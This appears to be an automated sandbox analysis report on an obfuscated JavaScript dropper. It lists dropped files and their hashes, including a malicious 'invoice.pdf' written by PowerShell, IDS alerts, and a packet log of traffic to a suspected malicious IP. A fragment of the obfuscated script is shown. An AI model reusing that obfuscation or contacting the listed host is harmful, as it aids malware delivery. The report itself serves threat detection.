MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d0447d98-feea-462e-bd11-c62a2083af53.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16437), with CRLF line terminators
Entropy (8bit):	4.921610821667124
TrID:
File name:	2986414422293398212.js
File size:	19'972 bytes
MD5:	9ed8cc31454c2576528c33190d6e12d2
SHA1:	b45962c6ff16c1c8bf7a470591756c9297c22f8b
SHA256:	9cd9f7b99d9834af06c9fa510d9928ab90cfb083f7f5e364d74c5344d25e4c39
SHA512:	c7625b4401bd72187780ebf2be91d723e16bbc6873b1bb1362bce70ea30207fced04eee6f8552dc940ad17486c524238e0caf0560b580bae6ba2341f61aa4efe
SSDEEP:	384:n9c4wzIhQLDB2Gm8XT9DQDEEMANZZpZQsHbPEuyvtVOzwM0irshnndmComIN60Cw:rwzICHcGm8XT9DQDEEMANZZpZQsHbPEs
TLSH:	349234CA4448CFF76ECC487061CB488718A903DF9FB4951DB2AA549860C76ACCDEA777
File Content Preview:	function sikhbu(){jitjpfnt=[1031,3079,5127,4103,2055,3072];var ztpgqfn=this[vxogmh+gbeox+imgter+bgwamiz+hmsjjclj+twzeagx+ezdznxuoh+bjjvvev](this[aldpghe+kjsdyly+rbhrzhjwp+imgter+cqtztmpfv+vxogmh+bjjvvev][cfiopkl+imgter+hmsjjclj+gbeox+bjjvvev+hmsjjclj+msta

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:41:59.969213+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T19:42:02.434856+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:41:59.200275898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:41:59.205243111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:41:59.205486059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:41:59.208194971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:41:59.213011026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:41:59.969118118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:41:59.969145060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:41:59.969158888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:41:59.969172955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:41:59.969186068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:41:59.969199896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:41:59.969213009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:41:59.969214916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:41:59.969228983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:41:59.969244957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:41:59.969257116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:41:59.969266891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:41:59.969306946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.012001991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.012068987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.012079954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.012090921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.012130976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.012306929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.087412119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.087439060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.087455034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.087467909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.087482929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.087495089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.087574959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.087621927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.087877035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.087889910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.087902069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.087914944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.087928057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.087932110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.087961912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.088700056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.088726044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.088738918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.088747978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.088752985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.088773012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.088783979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.088809013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.089531898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.089546919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.089560032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.089575052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.089587927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.089607000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.089648962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.099088907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.099138975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.129224062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.129240036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.129252911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.129266024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.129318953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.129364014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.174118996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.174134970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.174199104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.208211899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.208230972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.208245993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.208260059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.208276033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.208338022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.208435059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.208563089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.208578110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.208590984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.208633900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.208668947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.208714962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.208739042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.208751917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.208765030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.208777905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.208802938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.208828926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.209237099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.209253073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.209268093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.209281921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.209285021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.209326982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.209743977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.209757090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.209769964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.209783077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.209795952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.209806919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.209809065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.209825039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.209853888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.209887028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.209892035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.210638046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.210654020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.210669041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.210683107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.210692883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.210696936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.210711956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.210721970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.210728884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.210743904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.210767984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.210793972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.211498022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.211553097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.211576939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.211586952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.211591959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.211606026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.211620092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.211627007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.211690903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.216032982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.216046095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.216059923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.216130018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.246447086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.246460915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.246484995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.246500969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.246515989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.246524096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.246529102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.246582985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.246628046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.246671915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.246686935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.246738911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.294850111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.294862986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.294873953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.294888020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.294917107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.294975042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.327177048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327212095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327225924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327239037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327254057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327266932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327280998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327295065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327311039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327359915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.327429056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.327436924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327495098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.327497005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327514887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327528954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327543020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327558994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327570915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.327632904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.327953100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327969074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327985048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.327999115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.328012943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.328015089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.328026056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.328042984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.328053951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.328062057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.328104973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.328520060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.328532934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.328547955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.328561068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.328574896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.328576088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.328588009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.328603983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.328618050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.328622103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.328634977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.328668118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.328720093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.329314947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.329328060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.329340935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.329355955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.329370022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.329377890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.329384089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.329399109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.329412937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.329427004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.329440117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.329454899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.329459906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.329473972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.329488993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.329499960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.329524994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.330226898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.330254078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.330267906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.330280066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.330282927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.330295086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.330310106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.330324888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.330328941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.330338955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.330352068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.330365896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.330364943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.330379963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.330390930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.330394983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.330410957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.330423117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.330447912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.330478907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.331070900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.331085920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.331099033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.331140995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.333249092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.333262920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.333276987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.333288908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.333311081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.333352089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.333374023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.333398104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.333425999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.333426952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.333440065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.333451986 CET	80	49730	193.143.1.205	192.168.2.4
